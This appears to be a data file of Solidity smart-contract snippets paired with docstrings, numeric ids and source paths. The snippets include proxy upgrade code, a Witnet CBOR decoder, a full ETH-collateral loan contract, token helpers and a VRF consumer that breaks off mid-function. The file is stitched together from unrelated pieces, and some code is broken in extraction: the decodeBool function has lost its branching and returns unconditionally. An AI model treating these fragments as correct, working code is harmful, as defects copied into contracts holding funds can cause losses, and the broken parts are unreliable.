abstract contract ProxiableProtocolFeeReserveLib is ProtocolFeeProxyConstants {
/// @dev Updates the target of the proxy to be the contract at _nextProtocolFeeReserveLib
function __updateCodeAddress(address _nextProtocolFeeReserveLib) internal {
require(
ProxiableProtocolFeeReserveLib(_nextProtocolFeeReserveLib).proxiableUUID() ==
bytes32(EIP_1822_PROXIABLE_UUID),
"__updateCodeAddress: _nextProtocolFeeReserveLib not compatible"
);
assembly {
sstore(EIP_1967_SLOT, _nextProtocolFeeReserveLib)
}
}
/// @notice Returns a unique bytes32 hash for ProtocolFeeReserveLib instances
/// @return uuid_ The bytes32 hash representing the UUID
function proxiableUUID() public pure returns (bytes32 uuid_) {
return EIP_1822_PROXIABLE_UUID;
}
}
|
Gets the ProtocolFeeReserveLib target for the ProtocolFeeReserveProxy return protocolFeeReserveLib_ The address of the ProtocolFeeReserveLib target
|
function getProtocolFeeReserveLib() public view returns (address protocolFeeReserveLib_) {
assembly {
protocolFeeReserveLib_ := sload(EIP_1967_SLOT)
}
return protocolFeeReserveLib_;
}
| 11,967,397 |
./partial_match/42220/0x52725558BD031f6768b5B2E2744C7DcaAdeEa46a/sources/C/Users/guill/github/witnet/witnet-solidity-bridge/flattened/WitnetRequestBoardTrustableDefault/FlattenedWitnetRequestBoardTrustableDefault.sol
|
Decode a `Witnet.CBOR` structure into a native `bool` value. _cborValue An instance of `Witnet.CBOR`. return The value represented by the input, as a `bool` value.
|
function decodeBool(Witnet.CBOR memory _cborValue) public pure returns(bool) {
_cborValue.len = readLength(_cborValue.buffer, _cborValue.additionalInformation);
require(_cborValue.majorType == 7, "WitnetDecoderLib: Tried to read a `bool` value from a `Witnet.CBOR` with majorType != 7");
if (_cborValue.len == 20) {
return false;
return true;
revert("WitnetDecoderLib: Tried to read `bool` from a `Witnet.CBOR` with len different than 20 or 21");
}
}
| 3,500,916 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {SafeDecimalMath} from "./SafeDecimalMath.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {IERC20} from "./interfaces/IERC20.sol";
import "./interfaces/IConjure.sol";
import "./interfaces/IConjureFactory.sol";
import "./interfaces/IConjureRouter.sol";
/// @author Conjure Finance Team
/// @title EtherCollateral
/// @notice Contract to create a collateral system for conjure
/// @dev Fork of https://github.com/Synthetixio/synthetix/blob/develop/contracts/EtherCollateralsUSD.sol and adopted
contract EtherCollateral is ReentrancyGuard {
using SafeMath for uint256;
using SafeDecimalMath for uint256;
// ========== CONSTANTS ==========
uint256 internal constant ONE_THOUSAND = 1e18 * 1000;
uint256 internal constant ONE_HUNDRED = 1e18 * 100;
uint256 internal constant ONE_HUNDRED_TEN = 1e18 * 110;
// ========== SETTER STATE VARIABLES ==========
// The ratio of Collateral to synths issued
uint256 public collateralizationRatio;
// Minting fee for issuing the synths
uint256 public issueFeeRate;
// Minimum amount of ETH to create loan preventing griefing and gas consumption. Min 0.05 ETH
uint256 public constant MIN_LOAN_COLLATERAL_SIZE = 10 ** 18 / 20;
// Maximum number of loans an account can create
uint256 public constant ACCOUNT_LOAN_LIMITS = 50;
// Liquidation ratio when loans can be liquidated
uint256 public liquidationRatio;
// Liquidation penalty when loans are liquidated. default 10%
uint256 public constant LIQUIDATION_PENALTY = 10 ** 18 / 10;
// ========== STATE VARIABLES ==========
// The total number of synths issued by the collateral in this contract
uint256 public totalIssuedSynths;
// Total number of loans ever created
uint256 public totalLoansCreated;
// Total number of open loans
uint256 public totalOpenLoanCount;
// Synth loan storage struct
struct SynthLoanStruct {
// Account that created the loan
address payable account;
// Amount (in collateral token ) that they deposited
uint256 collateralAmount;
// Amount (in synths) that they issued to borrow
uint256 loanAmount;
// Minting Fee
uint256 mintingFee;
// When the loan was created
uint256 timeCreated;
// ID for the loan
uint256 loanID;
// When the loan was paid back (closed)
uint256 timeClosed;
}
// Users Loans by address
mapping(address => SynthLoanStruct[]) public accountsSynthLoans;
// Account Open Loan Counter
mapping(address => uint256) public accountOpenLoanCounter;
// address of the conjure contract (which represents the asset)
address payable public arbasset;
// the address of the collateral contract factory
address public _factoryContract;
// bool indicating if the asset is closed (no more opening loans and deposits)
// this is set to true if the asset price reaches 0
bool internal assetClosed;
// address of the owner
address public owner;
// ========== EVENTS ==========
event IssueFeeRateUpdated(uint256 issueFeeRate);
event LoanLiquidationOpenUpdated(bool loanLiquidationOpen);
event LoanCreated(address indexed account, uint256 loanID, uint256 amount);
event LoanClosed(address indexed account, uint256 loanID);
event LoanLiquidated(address indexed account, uint256 loanID, address liquidator);
event LoanPartiallyLiquidated(
address indexed account,
uint256 loanID,
address liquidator,
uint256 liquidatedAmount,
uint256 liquidatedCollateral
);
event CollateralDeposited(address indexed account, uint256 loanID, uint256 collateralAmount, uint256 collateralAfter);
event CollateralWithdrawn(address indexed account, uint256 loanID, uint256 amountWithdrawn, uint256 collateralAfter);
event LoanRepaid(address indexed account, uint256 loanID, uint256 repaidAmount, uint256 newLoanAmount);
event AssetClosed(bool status);
event NewOwner(address newOwner);
constructor() {
// Don't allow implementation to be initialized.
_factoryContract = address(1);
}
// modifier for only owner
modifier onlyOwner {
_onlyOwner();
_;
}
// only owner view for modifier
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
/**
* @dev initializes the clone implementation and the EtherCollateral contract
*
* @param _asset the asset with which the EtherCollateral contract is linked
* @param _owner the owner of the asset
* @param _factoryAddress the address of the conjure factory for later fee sending
* @param _mintingFeeRatio array which holds the minting fee and the c-ratio
*/
function initialize(
address payable _asset,
address _owner,
address _factoryAddress,
uint256[2] memory _mintingFeeRatio
)
external
{
require(_factoryContract == address(0), "already initialized");
require(_factoryAddress != address(0), "factory can not be null");
require(_owner != address(0), "_owner can not be null");
require(_asset != address(0), "_asset can not be null");
// c-ratio greater 100 and less or equal 1000
require(_mintingFeeRatio[1] <= ONE_THOUSAND, "C-Ratio Too high");
require(_mintingFeeRatio[1] > ONE_HUNDRED_TEN, "C-Ratio Too low");
arbasset = _asset;
owner = _owner;
setIssueFeeRateInternal(_mintingFeeRatio[0]);
_factoryContract = _factoryAddress;
collateralizationRatio = _mintingFeeRatio[1];
liquidationRatio = _mintingFeeRatio[1] / 100;
}
// ========== SETTERS ==========
/**
* @dev lets the owner change the contract owner
*
* @param _newOwner the new owner address of the contract
*/
function changeOwner(address payable _newOwner) external onlyOwner {
require(_newOwner != address(0), "_newOwner can not be null");
owner = _newOwner;
emit NewOwner(_newOwner);
}
/**
* @dev Sets minting fee of the asset internal function
*
* @param _issueFeeRate the new minting fee
*/
function setIssueFeeRateInternal(uint256 _issueFeeRate) internal {
// max 2.5% fee for minting
require(_issueFeeRate <= 250, "Minting fee too high");
issueFeeRate = _issueFeeRate;
emit IssueFeeRateUpdated(issueFeeRate);
}
/**
* @dev Sets minting fee of the asset
*
* @param _issueFeeRate the new minting fee
*/
function setIssueFeeRate(uint256 _issueFeeRate) external onlyOwner {
// fee can only be lowered
require(_issueFeeRate <= issueFeeRate, "Fee can only be lowered");
setIssueFeeRateInternal(_issueFeeRate);
}
/**
* @dev Sets the assetClosed indicator if loan opening is allowed or not
* Called by the Conjure contract if the asset price reaches 0.
*
*/
function setAssetClosed(bool status) external {
require(msg.sender == arbasset, "Only Conjure contract can call");
assetClosed = status;
emit AssetClosed(status);
}
/**
* @dev Gets the assetClosed indicator
*/
function getAssetClosed() external view returns (bool) {
return assetClosed;
}
/**
* @dev Gets all the contract information currently in use
* array indicating which tokens had their prices updated.
*
* @return _collateralizationRatio the current C-Ratio
* @return _issuanceRatio the percentage of 100/ C-ratio e.g. 100/150 = 0.6666666667
* @return _issueFeeRate the minting fee for a new loan
* @return _minLoanCollateralSize the minimum loan collateral value
* @return _totalIssuedSynths the total of all issued synths
* @return _totalLoansCreated the total of all loans created
* @return _totalOpenLoanCount the total of open loans
* @return _ethBalance the current balance of the contract
*/
function getContractInfo()
external
view
returns (
uint256 _collateralizationRatio,
uint256 _issuanceRatio,
uint256 _issueFeeRate,
uint256 _minLoanCollateralSize,
uint256 _totalIssuedSynths,
uint256 _totalLoansCreated,
uint256 _totalOpenLoanCount,
uint256 _ethBalance
)
{
_collateralizationRatio = collateralizationRatio;
_issuanceRatio = issuanceRatio();
_issueFeeRate = issueFeeRate;
_minLoanCollateralSize = MIN_LOAN_COLLATERAL_SIZE;
_totalIssuedSynths = totalIssuedSynths;
_totalLoansCreated = totalLoansCreated;
_totalOpenLoanCount = totalOpenLoanCount;
_ethBalance = address(this).balance;
}
/**
* @dev Gets the value of of 100 / collateralizationRatio.
* e.g. 100/150 = 0.6666666667
*
*/
function issuanceRatio() public view returns (uint256) {
// this rounds so you get slightly more rather than slightly less
return ONE_HUNDRED.divideDecimalRound(collateralizationRatio);
}
/**
* @dev Gets the amount of synths which can be issued given a certain loan amount
*
* @param collateralAmount the given ETH amount
* @return the amount of synths which can be minted with the given collateral amount
*/
function loanAmountFromCollateral(uint256 collateralAmount) public view returns (uint256) {
return collateralAmount
.multiplyDecimal(issuanceRatio())
.multiplyDecimal(syntharb().getLatestETHUSDPrice())
.divideDecimal(syntharb().getLatestPrice());
}
/**
* @dev Gets the collateral amount needed (in ETH) to mint a given amount of synths
*
* @param loanAmount the given loan amount
* @return the amount of collateral (in ETH) needed to open a loan for the synth amount
*/
function collateralAmountForLoan(uint256 loanAmount) public view returns (uint256) {
return
loanAmount
.multiplyDecimal(collateralizationRatio
.divideDecimalRound(syntharb().getLatestETHUSDPrice())
.multiplyDecimal(syntharb().getLatestPrice()))
.divideDecimalRound(ONE_HUNDRED);
}
/**
* @dev Gets the minting fee given the account address and the loanID
*
* @param _account the opener of the loan
* @param _loanID the loan id
* @return the minting fee of the loan
*/
function getMintingFee(address _account, uint256 _loanID) external view returns (uint256) {
// Get the loan from storage
SynthLoanStruct memory synthLoan = _getLoanFromStorage(_account, _loanID);
return synthLoan.mintingFee;
}
/**
* @dev Gets the amount to liquidate which can potentially fix the c ratio given this formula:
* r = target issuance ratio
* D = debt balance
* V = Collateral
* P = liquidation penalty
* Calculates amount of synths = (D - V * r) / (1 - (1 + P) * r)
*
* If the C-Ratio is greater than Liquidation Ratio + Penalty in % then the C-Ratio can be fixed
* otherwise a greater number is returned and the debtToCover from the calling function is used
*
* @param debtBalance the amount of the loan or debt to calculate in USD
* @param collateral the amount of the collateral in USD
*
* @return the amount to liquidate to fix the C-Ratio if possible
*/
function calculateAmountToLiquidate(uint debtBalance, uint collateral) public view returns (uint) {
uint unit = SafeDecimalMath.unit();
uint dividend = debtBalance.sub(collateral.divideDecimal(liquidationRatio));
uint divisor = unit.sub(unit.add(LIQUIDATION_PENALTY).divideDecimal(liquidationRatio));
return dividend.divideDecimal(divisor);
}
/**
* @dev Gets all open loans by a given account address
*
* @param _account the opener of the loans
* @return all open loans by ID in form of an array
*/
function getOpenLoanIDsByAccount(address _account) external view returns (uint256[] memory) {
SynthLoanStruct[] memory synthLoans = accountsSynthLoans[_account];
uint256[] memory _openLoanIDs = new uint256[](synthLoans.length);
uint256 j;
for (uint i = 0; i < synthLoans.length; i++) {
if (synthLoans[i].timeClosed == 0) {
_openLoanIDs[j++] = synthLoans[i].loanID;
}
}
// Change the list size of the array in place
assembly {
mstore(_openLoanIDs, j)
}
// Return the resized array
return _openLoanIDs;
}
/**
* @dev Gets all details about a certain loan
*
* @param _account the opener of the loans
* @param _loanID the ID of a given loan
* @return account the opener of the loan
* @return collateralAmount the amount of collateral in ETH
* @return loanAmount the loan amount
* @return timeCreated the time the loan was initially created
* @return loanID the ID of the loan
* @return timeClosed the closure time of the loan (if closed)
* @return totalFees the minting fee of the loan
*/
function getLoan(address _account, uint256 _loanID)
external
view
returns (
address account,
uint256 collateralAmount,
uint256 loanAmount,
uint256 timeCreated,
uint256 loanID,
uint256 timeClosed,
uint256 totalFees
)
{
SynthLoanStruct memory synthLoan = _getLoanFromStorage(_account, _loanID);
account = synthLoan.account;
collateralAmount = synthLoan.collateralAmount;
loanAmount = synthLoan.loanAmount;
timeCreated = synthLoan.timeCreated;
loanID = synthLoan.loanID;
timeClosed = synthLoan.timeClosed;
totalFees = synthLoan.mintingFee;
}
/**
* @dev Gets the current C-Ratio of a loan
*
* @param _account the opener of the loan
* @param _loanID the loan ID
* @return loanCollateralRatio the current C-Ratio of the loan
*/
function getLoanCollateralRatio(address _account, uint256 _loanID) external view returns (uint256 loanCollateralRatio) {
// Get the loan from storage
SynthLoanStruct memory synthLoan = _getLoanFromStorage(_account, _loanID);
(loanCollateralRatio, ) = _loanCollateralRatio(synthLoan);
}
/**
* @dev Gets the current C-Ratio of a loan by _loan struct
*
* @param _loan the loan struct
* @return loanCollateralRatio the current C-Ratio of the loan
* @return collateralValue the current value of the collateral in USD
*/
function _loanCollateralRatio(SynthLoanStruct memory _loan)
internal
view
returns (
uint256 loanCollateralRatio,
uint256 collateralValue
)
{
uint256 loanAmountWithAccruedInterest = _loan.loanAmount.multiplyDecimal(syntharb().getLatestPrice());
collateralValue = _loan.collateralAmount.multiplyDecimal(syntharb().getLatestETHUSDPrice());
loanCollateralRatio = collateralValue.divideDecimal(loanAmountWithAccruedInterest);
}
// ========== PUBLIC FUNCTIONS ==========
/**
* @dev Public function to open a new loan in the system
*
* @param _loanAmount the amount of synths a user wants to take a loan for
* @return loanID the ID of the newly created loan
*/
function openLoan(uint256 _loanAmount)
external
payable
nonReentrant
returns (uint256 loanID) {
// asset must be open
require(!assetClosed, "Asset closed");
// Require ETH sent to be greater than MIN_LOAN_COLLATERAL_SIZE
require(
msg.value >= MIN_LOAN_COLLATERAL_SIZE,
"Not enough ETH to create this loan. Please see the MIN_LOAN_COLLATERAL_SIZE"
);
// Each account is limited to creating 50 (ACCOUNT_LOAN_LIMITS) loans
require(accountsSynthLoans[msg.sender].length < ACCOUNT_LOAN_LIMITS, "Each account is limited to 50 loans");
// Calculate issuance amount based on issuance ratio
syntharb().updatePrice();
uint256 maxLoanAmount = loanAmountFromCollateral(msg.value);
// Require requested _loanAmount to be less than maxLoanAmount
// Issuance ratio caps collateral to loan value at 120%
require(_loanAmount <= maxLoanAmount, "Loan amount exceeds max borrowing power");
uint256 ethForLoan = collateralAmountForLoan(_loanAmount);
uint256 mintingFee = _calculateMintingFee(msg.value);
require(msg.value >= ethForLoan + mintingFee, "Not enough funds sent to cover fee and collateral");
// Get a Loan ID
loanID = _incrementTotalLoansCounter();
// Create Loan storage object
SynthLoanStruct memory synthLoan = SynthLoanStruct({
account: msg.sender,
collateralAmount: msg.value - mintingFee,
loanAmount: _loanAmount,
mintingFee: mintingFee,
timeCreated: block.timestamp,
loanID: loanID,
timeClosed: 0
});
// Record loan in mapping to account in an array of the accounts open loans
accountsSynthLoans[msg.sender].push(synthLoan);
// Increment totalIssuedSynths
totalIssuedSynths = totalIssuedSynths.add(_loanAmount);
// Issue the synth (less fee)
syntharb().mint(msg.sender, _loanAmount);
// Tell the Dapps a loan was created
emit LoanCreated(msg.sender, loanID, _loanAmount);
// Fee distribution. Mint the fees into the FeePool and record fees paid
if (mintingFee > 0) {
// conjureRouter gets 25% of the fee
address payable conjureRouter = IConjureFactory(_factoryContract).getConjureRouter();
uint256 feeToSend = mintingFee / 4;
IConjureRouter(conjureRouter).deposit{value:feeToSend}();
arbasset.transfer(mintingFee.sub(feeToSend));
}
}
/**
* @dev Function to close a loan
* calls the internal _closeLoan function with the false parameter for liquidation
* to mark it as a non liquidation close
*
* @param loanID the ID of the loan a user wants to close
*/
function closeLoan(uint256 loanID) external nonReentrant {
_closeLoan(msg.sender, loanID, false);
}
/**
* @dev Add ETH collateral to an open loan
*
* @param account the opener of the loan
* @param loanID the ID of the loan
*/
function depositCollateral(address account, uint256 loanID) external payable {
require(msg.value > 0, "Deposit amount must be greater than 0");
// Get the loan from storage
SynthLoanStruct memory synthLoan = _getLoanFromStorage(account, loanID);
// Check loan exists and is open
_checkLoanIsOpen(synthLoan);
uint256 totalCollateral = synthLoan.collateralAmount.add(msg.value);
_updateLoanCollateral(synthLoan, totalCollateral);
// Tell the Dapps collateral was added to loan
emit CollateralDeposited(account, loanID, msg.value, totalCollateral);
}
/**
* @dev Withdraw ETH collateral from an open loan
* the C-Ratio after should not be less than the Liquidation Ratio
*
* @param loanID the ID of the loan
* @param withdrawAmount the amount to withdraw from the current collateral
*/
function withdrawCollateral(uint256 loanID, uint256 withdrawAmount) external nonReentrant {
require(withdrawAmount > 0, "Amount to withdraw must be greater than 0");
// Get the loan from storage
SynthLoanStruct memory synthLoan = _getLoanFromStorage(msg.sender, loanID);
// Check loan exists and is open
_checkLoanIsOpen(synthLoan);
uint256 collateralAfter = synthLoan.collateralAmount.sub(withdrawAmount);
SynthLoanStruct memory loanAfter = _updateLoanCollateral(synthLoan, collateralAfter);
// require collateral ratio after to be above the liquidation ratio
(uint256 collateralRatioAfter, ) = _loanCollateralRatio(loanAfter);
require(collateralRatioAfter > liquidationRatio, "Collateral ratio below liquidation after withdraw");
// Tell the Dapps collateral was added to loan
emit CollateralWithdrawn(msg.sender, loanID, withdrawAmount, loanAfter.collateralAmount);
// transfer ETH to msg.sender
msg.sender.transfer(withdrawAmount);
}
/**
* @dev Repay synths to fix C-Ratio
*
* @param _loanCreatorsAddress the address of the loan creator
* @param _loanID the ID of the loan
* @param _repayAmount the amount of synths to be repaid
*/
function repayLoan(
address _loanCreatorsAddress,
uint256 _loanID,
uint256 _repayAmount
) external {
// check msg.sender has sufficient funds to pay
require(IERC20(address(syntharb())).balanceOf(msg.sender) >= _repayAmount, "Not enough balance");
SynthLoanStruct memory synthLoan = _getLoanFromStorage(_loanCreatorsAddress, _loanID);
// Check loan exists and is open
_checkLoanIsOpen(synthLoan);
uint256 loanAmountAfter = synthLoan.loanAmount.sub(_repayAmount);
// burn funds from msg.sender for repaid amount
syntharb().burn(msg.sender, _repayAmount);
// decrease issued synths
totalIssuedSynths = totalIssuedSynths.sub(_repayAmount);
// update loan with new total loan amount, record accrued interests
_updateLoan(synthLoan, loanAmountAfter);
emit LoanRepaid(_loanCreatorsAddress, _loanID, _repayAmount, loanAmountAfter);
}
/**
* @dev Liquidate loans at or below issuance ratio
* if the liquidation amount is greater or equal to the owed amount it will also trigger a closure of the loan
*
* @param _loanCreatorsAddress the address of the loan creator
* @param _loanID the ID of the loan
* @param _debtToCover the amount of synths the liquidator wants to cover
*/
function liquidateLoan(
address _loanCreatorsAddress,
uint256 _loanID,
uint256 _debtToCover
) external nonReentrant {
// check msg.sender (liquidator's wallet) has sufficient
require(IERC20(address(syntharb())).balanceOf(msg.sender) >= _debtToCover, "Not enough balance");
SynthLoanStruct memory synthLoan = _getLoanFromStorage(_loanCreatorsAddress, _loanID);
// Check loan exists and is open
_checkLoanIsOpen(synthLoan);
(uint256 collateralRatio, uint256 collateralValue) = _loanCollateralRatio(synthLoan);
// get prices
syntharb().updatePrice();
uint currentPrice = syntharb().getLatestPrice();
uint currentEthUsdPrice = syntharb().getLatestETHUSDPrice();
require(collateralRatio < liquidationRatio, "Collateral ratio above liquidation ratio");
// calculate amount to liquidate to fix ratio including accrued interest
// multiply the loan amount times current price in usd
// collateralValue is already in usd nomination
uint256 liquidationAmountUSD = calculateAmountToLiquidate(
synthLoan.loanAmount.multiplyDecimal(currentPrice),
collateralValue
);
// calculate back the synth amount from the usd nomination
uint256 liquidationAmount = liquidationAmountUSD.divideDecimal(currentPrice);
// cap debt to liquidate
uint256 amountToLiquidate = liquidationAmount < _debtToCover ? liquidationAmount : _debtToCover;
// burn funds from msg.sender for amount to liquidate
syntharb().burn(msg.sender, amountToLiquidate);
// decrease issued totalIssuedSynths
totalIssuedSynths = totalIssuedSynths.sub(amountToLiquidate);
// Collateral value to redeem in ETH
uint256 collateralRedeemed = amountToLiquidate.multiplyDecimal(currentPrice).divideDecimal(currentEthUsdPrice);
// Add penalty in ETH
uint256 totalCollateralLiquidated = collateralRedeemed.multiplyDecimal(
SafeDecimalMath.unit().add(LIQUIDATION_PENALTY)
);
// update remaining loanAmount less amount paid and update accrued interests less interest paid
_updateLoan(synthLoan, synthLoan.loanAmount.sub(amountToLiquidate));
// indicates if we need a full closure
bool close;
if (synthLoan.collateralAmount <= totalCollateralLiquidated) {
close = true;
// update remaining collateral on loan
_updateLoanCollateral(synthLoan, 0);
totalCollateralLiquidated = synthLoan.collateralAmount;
}
else {
// update remaining collateral on loan
_updateLoanCollateral(synthLoan, synthLoan.collateralAmount.sub(totalCollateralLiquidated));
}
// check if we have a full closure here
if (close) {
// emit loan liquidation event
emit LoanLiquidated(
_loanCreatorsAddress,
_loanID,
msg.sender
);
_closeLoan(synthLoan.account, synthLoan.loanID, true);
} else {
// emit loan liquidation event
emit LoanPartiallyLiquidated(
_loanCreatorsAddress,
_loanID,
msg.sender,
amountToLiquidate,
totalCollateralLiquidated
);
}
// Send liquidated ETH collateral to msg.sender
msg.sender.transfer(totalCollateralLiquidated);
}
// ========== PRIVATE FUNCTIONS ==========
/**
* @dev Internal function to close open loans
*
* @param account the account which opened the loan
* @param loanID the ID of the loan to close
* @param liquidation bool representing if its a user close or a liquidation close
*/
function _closeLoan(
address account,
uint256 loanID,
bool liquidation
) private {
// Get the loan from storage
SynthLoanStruct memory synthLoan = _getLoanFromStorage(account, loanID);
// Check loan exists and is open
_checkLoanIsOpen(synthLoan);
// Record loan as closed
_recordLoanClosure(synthLoan);
if (!liquidation) {
uint256 repayAmount = synthLoan.loanAmount;
require(
IERC20(address(syntharb())).balanceOf(msg.sender) >= repayAmount,
"You do not have the required Synth balance to close this loan."
);
// Decrement totalIssuedSynths
totalIssuedSynths = totalIssuedSynths.sub(synthLoan.loanAmount);
// Burn all Synths issued for the loan + the fees
syntharb().burn(msg.sender, repayAmount);
}
uint256 remainingCollateral = synthLoan.collateralAmount;
// Tell the Dapps
emit LoanClosed(account, loanID);
// Send remaining collateral to loan creator
synthLoan.account.transfer(remainingCollateral);
}
/**
* @dev gets a loan struct from the storage
*
* @param account the account which opened the loan
* @param loanID the ID of the loan to close
* @return synthLoan the loan struct given the input parameters
*/
function _getLoanFromStorage(address account, uint256 loanID) private view returns (SynthLoanStruct memory synthLoan) {
SynthLoanStruct[] storage synthLoans = accountsSynthLoans[account];
for (uint256 i = 0; i < synthLoans.length; i++) {
if (synthLoans[i].loanID == loanID) {
synthLoan = synthLoans[i];
break;
}
}
}
/**
* @dev updates the loan amount of a loan
*
* @param _synthLoan the synth loan struct representing the loan
* @param _newLoanAmount the new loan amount to update the loan
*/
function _updateLoan(
SynthLoanStruct memory _synthLoan,
uint256 _newLoanAmount
) private {
// Get storage pointer to the accounts array of loans
SynthLoanStruct[] storage synthLoans = accountsSynthLoans[_synthLoan.account];
for (uint256 i = 0; i < synthLoans.length; i++) {
if (synthLoans[i].loanID == _synthLoan.loanID) {
synthLoans[i].loanAmount = _newLoanAmount;
}
}
}
/**
* @dev updates the collateral amount of a loan
*
* @param _synthLoan the synth loan struct representing the loan
* @param _newCollateralAmount the new collateral amount to update the loan
* @return synthLoan the loan struct given the input parameters
*/
function _updateLoanCollateral(SynthLoanStruct memory _synthLoan, uint256 _newCollateralAmount)
private
returns (SynthLoanStruct memory synthLoan) {
// Get storage pointer to the accounts array of loans
SynthLoanStruct[] storage synthLoans = accountsSynthLoans[_synthLoan.account];
for (uint256 i = 0; i < synthLoans.length; i++) {
if (synthLoans[i].loanID == _synthLoan.loanID) {
synthLoans[i].collateralAmount = _newCollateralAmount;
synthLoan = synthLoans[i];
}
}
}
/**
* @dev records the closure of a loan
*
* @param synthLoan the synth loan struct representing the loan
*/
function _recordLoanClosure(SynthLoanStruct memory synthLoan) private {
// Get storage pointer to the accounts array of loans
SynthLoanStruct[] storage synthLoans = accountsSynthLoans[synthLoan.account];
for (uint256 i = 0; i < synthLoans.length; i++) {
if (synthLoans[i].loanID == synthLoan.loanID) {
// Record the time the loan was closed
synthLoans[i].timeClosed = block.timestamp;
}
}
// Reduce Total Open Loans Count
totalOpenLoanCount = totalOpenLoanCount.sub(1);
}
/**
* @dev Increments all global counters after a loan creation
*
* @return the amount of total loans created
*/
function _incrementTotalLoansCounter() private returns (uint256) {
// Increase the total Open loan count
totalOpenLoanCount = totalOpenLoanCount.add(1);
// Increase the total Loans Created count
totalLoansCreated = totalLoansCreated.add(1);
// Return total count to be used as a unique ID.
return totalLoansCreated;
}
/**
* @dev calculates the minting fee given the 100+ x% of eth collateral and returns x
* e.g. input 1.02 ETH fee is set to 2% returns 0.02 ETH as the minting fee
*
* @param _ethAmount the amount of eth of the collateral
* @param mintingFee the fee which is being distributed to the creator and the factory
*/
function _calculateMintingFee(uint256 _ethAmount) private view returns (uint256 mintingFee) {
if (issueFeeRate == 0) {
mintingFee = 0;
} else {
mintingFee = _ethAmount.divideDecimalRound(10000 + issueFeeRate).multiplyDecimal(issueFeeRate);
}
}
/**
* @dev checks if a loan is pen in the system
*
* @param _synthLoan the synth loan struct representing the loan
*/
function _checkLoanIsOpen(SynthLoanStruct memory _synthLoan) internal pure {
require(_synthLoan.loanID > 0, "Loan does not exist");
require(_synthLoan.timeClosed == 0, "Loan already closed");
}
/* ========== INTERNAL VIEWS ========== */
/**
* @dev Gets the interface of the synthetic asset
*/
function syntharb() internal view returns (IConjure) {
return IConjure(arbasset);
}
}
|
Gets all details about a certain loan _account the opener of the loans _loanID the ID of a given loan return account the opener of the loan return collateralAmount the amount of collateral in ETH return loanAmount the loan amount return timeCreated the time the loan was initially created return loanID the ID of the loan return timeClosed the closure time of the loan (if closed) return totalFees the minting fee of the loan/
|
function getLoan(address _account, uint256 _loanID)
external
view
returns (
address account,
uint256 collateralAmount,
uint256 loanAmount,
uint256 timeCreated,
uint256 loanID,
uint256 timeClosed,
uint256 totalFees
)
{
SynthLoanStruct memory synthLoan = _getLoanFromStorage(_account, _loanID);
account = synthLoan.account;
collateralAmount = synthLoan.collateralAmount;
loanAmount = synthLoan.loanAmount;
timeCreated = synthLoan.timeCreated;
loanID = synthLoan.loanID;
timeClosed = synthLoan.timeClosed;
totalFees = synthLoan.mintingFee;
}
| 12,915,171 |
./full_match/43113/0x3a7D90487F8E6c8631317E1B812d020CE5bB1288/sources/src/libraries/PairParameterHelper.sol
|
Get the time of last update from the encoded pair parameters params The encoded pair parameters, as follows: [0 - 176[: other parameters [176 - 216[: time of last update (40 bits) [216 - 256[: other parameters return timeOflastUpdate The time of last update/
|
function getTimeOfLastUpdate(bytes32 params) internal pure returns (uint40 timeOflastUpdate) {
timeOflastUpdate = params.decodeUint40(OFFSET_TIME_LAST_UPDATE);
}
| 7,117,521 |
./full_match/1/0xEacAA5fbE3C364fcAcEd6cD14CEd4E54703cE5D4/sources/contracts/CapitalComponentToken.sol
|
Simplest public method for calculating the amount of fullToken due for a given amount of capital token capitalTokenAmount Amount of capital token to calculate the payout from return The payout amount denoted in fullToken
|
function calculatePayoutAmount(uint256 capitalTokenAmount) public view returns (uint256) {
uint256 currPrice = priceOracle.getPrice(fullToken);
return calculatePayoutAmount(capitalTokenAmount, currPrice);
}
| 2,987,130 |
./full_match/5/0xb1F1bB96C6ac3777b2EF3926223Ab30514E4ac51/sources/contracts/scripty/utils/DynamicBuffer.sol
|
Appends data to buffer, and update buffer length buffer the buffer to append the data to data the data to append Performs out-of-bound checks and calls `appendUnchecked`.
|
function appendSafe(bytes memory buffer, bytes memory data) internal pure {
checkOverflow(buffer, data.length);
appendUnchecked(buffer, data);
}
| 1,850,237 |
./full_match/5/0x50D80C9fD54a8ceCBF199d7Ee8d9F6207D27d316/sources/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
|
Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value, non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval to be set to zero before setting it to a non-zero value, such as USDT./
|
function forceApprove(IERC20 token, address spender, uint256 value) internal {
bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);
if (!_callOptionalReturnBool(token, approvalCall)) {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, approvalCall);
}
}
| 1,888,427 |
./full_match/137/0x9E349fD9D1b8f94069d58e5F7b0c6338BbA03F40/sources/Dogma.sol
|
Wrap select LP-Tokens /
|
function wrap(address token, uint amount) public virtual returns(bool){
return wrapFor(msg.sender, token, amount);
}
| 4,797,666 |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.11;
interface IKenshi {
function approveAndCall(
address spender,
uint256 value,
bytes memory data
) external returns (bool);
}
interface IVRFUtils {
function fastVerify(
uint256[4] memory proof,
bytes memory message,
uint256[2] memory uPoint,
uint256[4] memory vComponents
) external view returns (bool);
function gammaToHash(uint256 _gammaX, uint256 _gammaY)
external
pure
returns (bytes32);
}
interface ICoordinator {
function getKenshiAddr() external view returns (address);
function getVrfUtilsAddr() external view returns (address);
}
abstract contract VRFConsumer {
/* Request tracking */
mapping(uint256 => bool) _requests;
uint256 private _requestId;
/* Kenshi related */
uint256 private _approve;
IKenshi private _kenshi;
IVRFUtils private _utils;
ICoordinator private _coordinator;
/* VRF options */
bool private _shouldVerify;
bool private _silent;
constructor() {
_approve = (1e13 * 1e18) / 1e2;
}
/**
* @dev Setup various VRF related settings:
* - Coordinator Address: Kenshi VRF coordinator address
* - Should Verify: Set if the received randomness should be verified
* - Silent: Set if an event should be emitted on randomness delivery
*/
function setupVRF(
address coordinatorAddr,
bool shouldVerify,
bool silent
) internal {
_coordinator = ICoordinator(coordinatorAddr);
address _vrfUtilsAddr = _coordinator.getVrfUtilsAddr();
